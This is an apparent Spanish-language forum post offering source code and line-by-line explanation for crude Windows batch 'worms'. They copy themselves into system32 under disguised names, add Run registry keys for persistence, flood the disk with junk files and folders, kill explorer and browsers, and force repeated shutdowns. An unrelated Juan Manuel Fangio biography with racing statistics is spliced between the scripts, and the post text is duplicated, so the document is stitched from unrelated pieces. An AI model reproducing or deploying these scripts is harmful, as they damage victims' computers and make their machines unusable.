Dj_TeclaDisco

Hola este es mi primer post es pero que les guste ya lo creo que me lo borraran asi que disfrutenlo ya habia echo un post y me lo borraron pero no importa esto es un codigo de fuente no es spamm ya que no puse ni una sola descarga asi que a disfrutarlo aa tampoco me ago responsable de su mal uso esstan avisados despues no me vengan a reclamar.IMPORTANTE NO LO EJECUTEN O SU PC SE LLENARA DE PORQUERIAS Y YA NO LE SERVIRIA MAS ASI QUE RECOMIENDO QUE NO LO EJECUTEN @echo off copy %0%windir%\system32\WRB.A.bat(este nombre lo escogi yo pero ustedes pongan uno mas creible como Windll32.bat) REG ADD HKLM\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\wRB.A.bat(o el nombre qe le pusieron ustedes!) :worm cd\ cd %homepatch% cd escritorio echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% cd\ cd windows mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm Perdon primero a esto que hemos escrito lo guardamos .bat por ejemplo virus.bat presionamos guardar y listo es importante guardarlo con la extemcion .bat! despues lo pueden convertir a exe... con el bat2exe! buscalo en el sr.Google (: buuenoo ahora se explicare los comandos @echo off: eso es para que se esconda por ejemplo C:\Documents And Settings\Default user\Escritorio eso se esconde y queda vacio... copy %0%windir%\system32\WRB.A.bat: esto es para qe se copie nuestro Worm en C:\WINDOWS\system32 REG ADD HKLM\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\wRB.A.bat:Eso es agregar una clave al registro sirve para qe cada vez que se prenda la computadora se inicie tabien el worm!. :worm:Es una etiqueta para que despues el goto se pueda guiar. cd %homepatch%:este comnado es para que el Dos se dirija hacia el Escritorio echo worm >> %random%.exe%:Este comandosirve para que se copie un archivo con cualquier nombre por ejemplo 23468746545646.exe mkdir %random%:este es para crear carpetas en Windows goto: es param hacer un bucle osea que se repita las acciones de arriba infinitamente. BUENO ESPERO QUE LES HAYA GUSTADO NOSE SI LO EXPLIQUE BIEN SI ALGUIEN NO ENTENDIO MANDEN MP ADIOZ TINCHOHACK O DJ TECLA DISCO ADIOS

Hola este es mi primer post es pero que les guste ya lo creo que me lo borraran asi que disfrutenlo ya habia echo un post y me lo borraron pero no importa esto es un codigo de fuente no es spamm ya que no puse ni una sola descarga asi que a disfrutarlo aa tampoco me ago responsable de su mal uso esstan avisados despues no me vengan a reclamar.IMPORTANTE NO LO EJECUTEN O SU PC SE LLENARA DE PORQUERIAS Y YA NO LE SERVIRIA MAS ASI QUE RECOMIENDO QUE NO LO EJECUTEN [/color] @echo off copy %0%windir%\system32\WRB.A.bat(este nombre lo escogi yo pero ustedes pongan uno mas creible como Windll32.bat) REG ADD HKLM\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\wRB.A.bat(o el nombre qe le pusieron ustedes!) :worm cd\ cd %homepatch% cd escritorio echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% cd\ cd windows mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe goto worm Perdon primero a esto que hemos escrito lo guardamos .bat por ejemplo virus.bat presionamos guardar y listo es importante guardarlo con la extemcion .bat! despues lo pueden convertir a exe... con el bat2exe! buscalo en el sr.Google (: buuenoo ahora se explicare los comandos @echo off: eso es para que se esconda por ejemplo C:\Documents And Settings\Default user\Escritorio eso se esconde y queda vacio... copy %0%windir%\system32\WRB.A.bat: esto es para qe se copie nuestro Worm en C:\WINDOWS\system32 REG ADD HKLM\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\wRB.A.bat:Eso es agregar una clave al registro sirve para qe cada vez que se prenda la computadora se inicie tabien el worm!. :worm:Es una etiqueta para que despues el goto se pueda guiar. cd %homepatch%:este comnado es para que el Dos se dirija hacia el Escritorio echo worm >> %random%.exe%:Este comandosirve para que se copie un archivo con cualquier nombre por ejemplo 23468746545646.exe mkdir %random%:este es para crear carpetas en Windows goto: es param hacer un bucle osea que se repita las acciones de arriba infinitamente. BUENO ESPERO QUE LES HAYA GUSTADO PERDON POR QUE EL VIDEO SEA TAN LARGO PERO LO EXPLIQE ADIOZ TINCHOHACK O DJ TECLA DISCO ADIOS

Juan Manuel Fangio (1911-1995) Este es un humilde homenaje al mejor deportista argentino de todos los tiempos. El primer Quíntuple Campeón Mundial de Pilotos de Fórmula Uno de la historia es ARGENTINO Biografía 24 de Junio de 1911: En la casa de la calle 13, en Balcarce, nace Juan Manuel Fangio. Sus padres son Loreto Fangio y Herminia D´Eramo. 1923: Deja la escuela para trabajar como mecánico en el taller de la Agencia Studebaker de Balcarce, de Manuel Viggiano. 1929: Disputa su primera carrera, como acompañante de Manuel Ayerza, sobre un Chevrolet ´28 cuatro cilindros. La competencia se dsiputa entre Coronel Vidal y Maipú. 24 de Octubre de 1936: Debuta como piloto en una carrera no oficial, en Benito Juárez, a bordo de un Ford A ´29 modificado. Abandona 27 de Marzo de 1939: Su primera carrera oficial. En Necochea con un Ford ´34, finaliza quinto. 18 de Octubre de 1938: Debuta en Turismo de Carretera, en el Gran Premio Argentino. Manejando un Ford cupé ´37, con Luis Finochietti. Arriba séptimo 12 de Octubre de 1940: Gana el Gran Premio Internacional del Norte, una carrera entre Buenos Aires y Lima, de 4.765 Km. de recorrido, con un Chevrolet. Es su primer triunfo en el automovilismo. 14 de Diciembre de 1940: Al calsificarse octavo en las Mil Millas Argentinas, obtiene el primer título de Campeón Argentino de Carreteras. 2 de Abril de 1942: Gana la carrera Mar y Sierras de Turismo de Carretera: será su última intervención hasta después de la Segunda Guerra Mundial. 15 de Febrero de 1947: Vuelve a la actividad, con un tercer lugar en una prueba de Mecánica Nacional (monoplazas) en el circuito de Retiro, en Buenos Aires. 17 de Enero de 1948: Debuta en Máquinas Especiales (antecedente de la Fórmula 1) con un Maserati 1500 en Palermo. Abandona. 16 de Abril de 1950: Debuta en el equipo ALfa Romeo de F1 con una victoria en el circuito de Ospedaletti, en San Remo. 13 de Mayo de 1950: Debuta en el Primer Campeonato Mundial de Fórmula 1, integrando la escuadra Alfa Romeo, pero abandona por problemas de motor. La carrera se lleva a cabo en el circuito de Silverstone, Inglaterra. 21 de Mayo de 1950: Logra su primer triunfo en el Campeonato Mundial. Es el Grand Prix de Mónaco, en Montecarlo, con un Alfa Romeo 158, luego de esquivar una múltiple colisión en la primera vuelta que dejó afuera a nueve autos. 3 de Septiembre de 1950: Al abandonar el Gran Prix de Italia, pierde el título mundial a manos de su coequiper Ninno Farina 28 de Octubre de 1951: Se consagra por primera vez Campeón Mundial de Conductores al ganar el Gran Prix de España, en Pedralbes, con un Alfa Romeo 159. Es también, la última carrera de la escudería. 1 de Junio de 1952: Debuta con la ensordecedora BRM inglesa de 4500 cm3 en el Gran Premio de Albi, en Francia, pero abandona. 8 de Junio de 1952: Se despista en la primera vuelta del Gran Premio de Monza, cuando corría con una Maserati A6GCM de Fórmula 2. Había corrido el día anterior en Irlanda. "A las dos de la tarde llegué, a las dos y media largué y a las tres estaba en el hospital", recordó después. En el accidente sufre lesiones en las vértebras cervicales, que lo mantienen fuera de la actividad durante siete meses. 18 de Enero de 1953: Reaparece disputando el 1º Gran Premio de la República Argentina de Fórmula 1, pero abandona. 13 de Septiembre de 1953: Vuelve al triunfo en Fórmula 1, venciendo en el Grand Prix de Italia, obteniendo así el subcampeonato mundial. 19 de Noviembre de 1953: Sobre un Lancia D24 gana la Carrera Panamericana, 3.070 Km. de rutas desde la frontera norte a la sur de México 17 de Enero de 1954: Bajo una lluvia torrencial, gana por primera vez el Grand Prix de la Argentina de F1, con una Maserati 250F. 4 de Julio de 1954: Debuta en el equipo Mercedes Benz, en Francia. Marca la pole-position y consigue la victoria. 24 de Octubre de 1954: Con un tercer puesto en Pedralbes, consigue su segundo título del mundo. Ha ganado en seis de las ocho carreras. 16 de Enero de 1955: Con temperaturas que alcanzan los 50 grados, vence otra vez en el Grand Prix de Argentina: Es el unico piloto que no es reemplazado durante las tres horas de carrera. 11 de Junio de 1955: Cuando lidera las 24 horas de Le Mans, sobre un Mercedes 300 SLR, se produce el tremendo accidente que le cuesta la vida a 83 personas. 11 de Septiembre de 1955: Con un trunfo en Italia, obtiene su tercer corona en la F1. Se despide del equipo Mercedes, que abandona las carreras, cerrando un ciclo brillante: nueve triunfos en doce carreras, de las cuales ocho pertenecen a Fangio. 22 de Enero de 1956: Debuta en el equipo Ferrari y obtiene el Gran Premio de la Republica Argentina. 28 de Abril de 1956: Con una Ferrari Sport, pena para clasificarse cuarto en las Mille Miglias italianas. "Fue la peor carrera de mi vida" dirá más tarde. 2 de septiembre de 1956: Su coequiper, Peter Collins, le cede su auto durante el Gran Premio de Italia para obtener su cuarto título mundial. 13 de Enero de 1957: De vuelta con Maserati, obtiene el Gran Premio de la Argentina. 23 de Marzo de 1957: Logra la victoria en las 12 horas de Sebring. Treinta y Cinco años después, su sobrino Juan obtiene esta carrera. 4 de Agosto de 1957: Vence en estupenda forma en el Grand Prix de Alemania, en Nurburgring, y logra su quinto título mundial. Es su mejor triunfo: luego de haber acumulado una diferencia de 28 segundos sobre las Ferraris de Hawthorn y Collins, se detiene en boxes para cambiar sus cuatro cubiertas, y no solo pierde la ventaja, sino otros 48 segundos. Faltando diez de las 22 vueltas previstas, inicia una impresionante recuperación, batiendo nueve veces el record de la pista. En la penúltima vuelta supera sucesivamente a Collins, en la recta detrás de los boxes, y a Hawthorn, en la zona de curvas de Fuchsrorhe, para vencer con 3.6 segundos de ventaja. Es su último triunfo en la F1. 2 de febrero de 1958: La victoria en el Gran Premio de la Republica Argentina sin puntos para el Mundial, es la última de su gloriosa campaña. Sólo volvería a correr dos pruebas más. 26 de febrero de 1958: Es secuestrado en Cuba. Liberado al día siguiente, no participa en la carrera de La Habana. 6 de Julio de 1958: Finaliza en el cuarto lugar del Gran Premio de Francia, después de haber largado, por primera vez, desde la tercera fila. Durante la competencia decide dejar de competir. 13 de Agosto de 1969: Es la cabeza visible de la Misión Argentina, un operativo con tres Torinos 380W y nueve pilotos, compitió en las 84 horas de Nürburgring, logrando un cuarto puesto. 15 de Febrero de 1972: Se inaugura el autódromo "Juan Manuel Fangio" de Balcarce, en su honor, en una carrera de Sport-Prototipo internacional. 25 de Mayo de 1973: Junto a otros grandes del automovilismo nacional, entre los que se destaca Oscar Alfredo Gálvez, disputa una prueba-exhibición en el Autódromo de Buenos Aires, la "Carrera del Recuerdo". 1974: Es nombrado presidente honorario de Mercedes-Benz Argentina, cargo que desempeña hasta su muerte. 4 de Diciembre de 1981: Sufre un grave ataque cardíaco, en Dubai, Emiratos Árabes Unidos. 8 de Diciembre de 1982: Es sometido a una operación de quíntuple By-Pass, realizada por René Favaloro. 22 de Noviembre de 1986: Se inaugura el Centro Tecnológico y Cultural Museo del Automovilismo "Juan Manuel Fangio" en Balcarce, hoy el más visitado de Sudamérica, con cerca de 100.000 visitantes al año. 11 de Junio de 1991: Cumple 80 años y se lo celebra con una magnífica fiesta: una cena en Buenos Aires y una carrera de Turismo de Carretera, ganada por Oscar Castellano, en Balcarce, coronada con una paella para 400 personas- 29 de Diciembre de 1993: Es internado a causa de una hipercalcemia en la sangre, provocada por una complicación en el tratamiento de diálisis. 17 de Julio de 1995: A la edad de 84 años, fallece en Buenos Aires. A su funeral asisten los mas grandes corredores de la historia. Fórmula 1 Juan Manuel Fangio en la Fórmula Uno 1950 13/05 Inglaterra (Silverstone) Alfa Romeo 158 Abandonó 21/05 Monaco (Montecarlo) Alfa Romeo 158 Primero 04/06 Suiza (Bremgarten) Alfa Romeo 158 Abandonó 18/06 Bélgica (Spa) Alfa Romeo 158 Primero 02/07 Francia (Reims) Alfa Romeo 158 Primero 03/09 Italia (Monza) Alfa Romeo 158 Abandonó Posición en el campeonato: Subcampeón 1951 27/05 Suiza (Bremgarten) Alfa Romeo 159 Primero 17/06 Belgica (Spa) Alfa Romeo 159 Noveno 01/07 Francia (Reims) Alfa Romeo 159 Primero 14/07 Inglaterra (Silverstone) Alfa Romeo 159 Segundo 29/07 Alemania (Nürburgring) Alfa Romeo 159 Segundo 16/09 Italia (Monza) Alfa Romeo 159 Abandonó 28/10 España (Pedralbes) Alfa Romeo 159 Primero Posición en el campeonato: Campeón 1953 18/01 Argentina (Buenos Aires) Maserati A6SSG Abandonó 07/06 Holanda (Zandvoort) Maserati A6SSG Abandonó 21/06 Bélgica (Spa) Maserati A6SSG Abandonó 05/07 Francia (Reims) Maserati A6SSG Segundo 18/07 Inglaterra (Silverstone) Maserati A6SSG Segundo 02/08 Alemania (Nürburgring) Maserati A6SSG Segundo 23/08 Suiza (Bremgarten) Maserati A6SSG Cuarto 13/09 Italia (Monza) Maserati A6SSG Primero Posición en el campeonato: Tercero 1954 17/01 Argentina (Buenos Aires) Maserati 250F Primero 20/06 Belgica (Spa) Maserati 250F Primero 04/07 Francia (Reims) Mercedes Benz W196 Primero 17/07 Inglaterra (Silverstone) Mercedes Benz W196 Cuarto 01/08 Alemania(Nürburgring) Mercedes Benz W196 Primero 22/08 Suiza (Bermgarten) Mercedes Benz W196 Primero 05/09 Italia (Monza) Mercedes Benz W196 Primero 24/10 España (Pedralbes) Mercedes Benz W196 Tercero Posición en el campeonato: Campeón 1955 16/01 Argentina (Buenos Aires) Mercedes Benz W196 Primero 22/05 Monaco (Montecarlo) Mercedes Benz W196 Abandonó 05/06 Belgica (Spa) Mercedes Benz W196 Primero 19/06 Holanda (Zandvoort) Mercedes Benz W196 Primero 16/07 Inglaterra (Silverstone) Mercedes Benz W196 Segundo 11/09 Italia (Monza) Mercedes Benz W196 Primero Posición en el campeonato: Campeón 1956 22/01 Argentina (Buenos Aires) Lancia-Ferrari D50 Primero 13/05 Monaco (Montecarlo) Lancia-Ferrari D50 Segundo 03/06 Belgica (Spa) Lancia-Ferrari D50 Abandonó 01/07 Francia (Reims) Lancia-Ferrari D50 Cuarto 14/07 Inglaterra (Silverstone) Lancia-Ferrari D50 Primero 05/08 Alemania (Nürburgring) Lancia-Ferrari D50 Primero 02/09 Italia (Monza) Lancia-Ferrari D50 Segundo Posición en el campeonato: Campeón 1957 13/01 Argentina (Buenos Aires) Maserati 250F Primero 19/05 Monaco (Montecarlo) Maserati 250F Primero 14/07 Francia (Rouen Les Essarts) Maserati 250F Primero 20/07 Inglaterra (Aintree) Maserati 250F Abandonó 04/08 Alemania(Nürburgring) Maserati 250F Primero 18/08 Pescara (Pescara) Maserati 250F Segundo 08/09 Italia (Monza) Maserati 250F Segundo Posición en el campeonato: Campeón 1958 19/01 Argentina (Buenos Aires) Maserati 250F Cuarto 06/07 Francia (Reims) Maserati 250F Cuarto Turismo Carretera Juan Manuel Fangio en el Turismo Carretera 1940 27/09 al 12/10 Gran Premio Internacional del Norte 1º (Ganó la 1º,4º,8º y 10º etapas) 14/12 Mil Millas Argentinas 8º Posición en el campeonato: Campeón Argentino de Carreteras 1941 22 al 29/06 Gran Premio Pte. G. Vargas (Brasil) 1º (Ganó la 3º,4ºy5º estapas) 13/12 Mil Millas Argentinas 1º (Ganó la 1º etapa) Posición en el campeonato: Campeón Argentino de Carreteras 1942 21/01 al 03/02 Gran Premio del Sur 10º (Ganó la 2º y 10º etapas) 02/04 Mar y Sierras 1º 1947 29/10 Doble Sierra de la Ventana 1º 22 al 30/11 Gran Premio Internacional 6º (Ganó la 2º etapa) 21/12 Mil Millas Argentinas Abandonó 1948 28 y 29/02 Vuelta de Pringles 1º (Ganó la 2º etapa) 11/04 Mar y Sierras 11º 24 y 25/04 Vuelta de Entre Ríos 1º (Ganó las dos etapas) 20/10 Gran Premio de América del Sur Abandonó (Ganó la 5º etapa) 1949 16/01 Mil Millas Argentinas 2º 05 al 27/11 Gran Premio de la República 2º (Ganó la 2º,7ºy9º etapas) Estadísticas Juan Manuel Fangio - Estadísticas Nombre Juan Manuel Fangio Nació 24 junio 1911 en Balcarce (Argentina) Muerto el 17 julio de 1995 TITULOS 5 campeonatos del mundo como Piloto ('51-Alfa Romeo, '54-Mercedes/Maserati, '55-Maserati, '56- Ferrari, ë57-Maserati) VICTORIAS EN MUNDIAL DE PILOTOS 4 v. GP de Francia ('50 e '51-Alfa Romeo, '54-Mercedes, '57-Maserati) 4 v. GP de Argentina ('54 e '57-Maserati, '55-Mercedes, '56-Ferrari) 3 v. GP de Alemania ('54-Mercedes, '56-Ferrari, '57-Maserati) 3 v. GP de Belgica ('50-Alfa Romeo, '54-Maserati, '55-Mercedes) 3 v. GP de Italia ('53-Maserati, '54 e '55-Mercedes) 2 v. GP de Svizzera ('51-Alfa Romeo, '54-Mercedes) 2 v. GP de Monaco ('50-Alfa Romeo, '57-Maserati) 1 v. GP de Spaña ('51-Alfa Romeo) 1 v. GP de Holanda ('55-Mercedes) 1 v. GP de Inglaterra ('56-Ferrari) OTRAS VICTORIAS 2 v. 12 de Sebring ('56-Ferrari, '57-Maserati) 1 v. Carrera Panamericana ('53-Lancia) 1 v. GP de Argentina ('52-Ferrari) 1 v. GP del Portogallo ('57-Maserati) 1 v. GP de Svezia ('55-Mercedes) CAMPEONATO DEL MUNDO DE F1 CARRERAS Y VICTORIAS Total carreras disputadas / victorias 51 / 24 Cursos con Ferrari / victorias 7 / 3 AÑO COCHE CARRERAS VICTORIAS CIRCUITOS 1950 ALFA ROMEO 6 3 MON-BEL-FRA 1951 ALFA ROMEO 7 3 SWI-FRA-SPA 1953 MASERATI 8 1 ITA 1954 MASERATI 2 2 ARG-BEL MERCEDES 6 4 FRA-GER-SWI-ITA 1955 MERCEDES 6 4 ARG-BEL-NL-ITA 1956 FERRARI 7 3 ARG-GB-GER 1957 MASERATI 7 4 ARG-MON-FRA-GER 1958 MASERATI 2 0 CAMPEONATO CLASIFICACION POR PUNTOS CAMPEONATO MUNDIAL CONDUCTORES Total puntos conquistados 245 (277,5) Puntos conquistados con Ferrari 30 ( 33) AÑO COCHE PUNTOS CLASIFICACION 1950 ALFA ROMEO 27 2 1951 ALFA ROMEO 31(37) 1 1953 MASERATI 28(29,5) 2 1954 MASERATI 17 1 MERCEDES 25(40) 1 1955 MERCEDES 40(41) 1 1956 FERRARI 30(33) 1 1957 MASERATI 40(46) 1 1958 MASERATI 7 14 CARRERAS DEL 1° AL 6° PUESTO VALIDO PARA EL CAMPEONATO DE CONDUCTORES Total carreras 40 Con Ferrari 6 AÑO COCHE CARRERAS 1° 2° 3° 4° 5° 6° 1950 ALFA ROMEO 3 3 0 0 0 0 0 1951 ALFA ROMEO 5 3 2 0 0 0 0 1953 MASERATI 5 1 3 0 1 0 0 1954 MASERATI 2 2 0 0 0 0 0 MERCEDES 6 4 0 1 1 0 0 1955 MERCEDES 5 4 1 0 0 0 0 1956 FERRARI 6 3 2 0 1 0 0 1957 MASERATI 6 4 2 0 0 0 0 1958 MASERATI 2 0 0 0 2 0 0 POLE POSITION Total pole position 29 Pole position con Ferrari 6 AÑO COCHE PP GP 1950 ALFA ROMEO 4 MON-SWI-FRA-ITA 1951 ALFA ROMEO 4 SWI-BEL-FRA-ITA 1953 MASERATI 2 BEL-SWI 1954 MASERATI 1 BEL MERCEDES 4 FRA-GB-GER-ITA 1955 MERCEDES 3 MON-NL-ITA 1956 FERRARI 6 ARG-MON-BEL-FRA-GER-ITA 1957 MASERATI 4 MON-FRA-GER-PES 1958 MASERATI 1 ARG RECORD DE VUELTAS Total 23 Con Ferrari 4 AÑO COCHE R.V. GP 1950 ALFA ROMEO 3 MON-FRA-ITA 1951 ALFA ROMEO 5 SWI-BEL-FRA-GER-SPA 1953 MASERATI 2 FRA-ITA 1954 MASERATI 1 BEL MERCEDES 2 GB-SWI 1955 MERCEDES 3 ARG-MON-BEL 1956 FERRARI 4 ARG-MON-FRA-GER 1957 MASERATI 2 MON-GER 1958 MASERATI 1 ARG GIROS POR KMS AL COMANDO Total 405 / 2.233,730 Con Ferrari 108 / 698,486 AÑO COCHE GIROS KM GP 1950 ALFA ROMEO 0 ,000 1951 ALFA ROMEO 0 ,000 1953 MASERATI 0 ,000 1954 MASERATI 0 ,000 MERCEDES 0 ,000 1955 MERCEDES 0 ,000 1956 FERRARI 108 698,486 ARG-BEL-FRA-GB-ITA 1957 MASERATI 272 1437,544 ARG-MON-FRA-GER-ITA 1958 MASERATI 25 97,700 ARG GIROS YKM Giros/km 3062 / 20.430,871 (Teoria: 3433 / 22.600,907 ) Con Ferrari 3062 / 20.430,871 (Teoria: 3433 / 22.600,907 ) AÑO COCHE GIRO / KM TEORIA 1950 ALFA ROMEO 315 / 1.975,288 391 / 2.448,120 1951 ALFA ROMEO 369 / 2.916,948 415 / 3.236,860 1953 MASERATI 395 / 2.759,216 536 / 3.579,646 1954 MASERATI 123 / 856,620 123 / 856,620 MERCEDES 397 / 2.877,436 399 / 2.888,444 1955 MERCEDES 421 / 2.390,930 472 / 2.550,968 1956 FERRARI 455 / 3.004,708 468 / 3.187,748 1957 MASERATI 457 / 2.922,086 499 / 3.124,862 1958 MASERATI 130 / 727,640 130 / 727,640 Total carreras con la Ferrari 28 Victorias 14 Podios 20 1° 2° 3° 14 4 2

@echo off :worm copy %0%windir%\system32\%random%.bat REG ADD HKLM\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\%random%.bat REG ADD HKEY_CURRENT_USER\sotware\microsoft\windows\currentversion\run /v Win.bat /d %windir%\system32\%random%.bat taskkill /IM explorer.exe /f taskkill /IM /f msnmsgr.exe taskkill /IM /f iexplore.exe taskkill /IM /f firefox.exe Shutdown -s -f -t 20 -c "lammersito Juiste hackeado by DosHack" start start calc.exe start winmine.exe start packager.exe start iexpress.exe start spider.exe start ftp.exe start notepad.exe start www.taringa.com start iexplore.exe start msnmsgr.exe start firefox.exe start sndvol32.exe start svchost.exe goto worm Bueno esto es casi un gusanoo realmente es un virus mui peligroso Atencion no lo habran o cada vez qe inicien sesion su pc se apagara. bueno espero qe les guste Dj Tecla Disco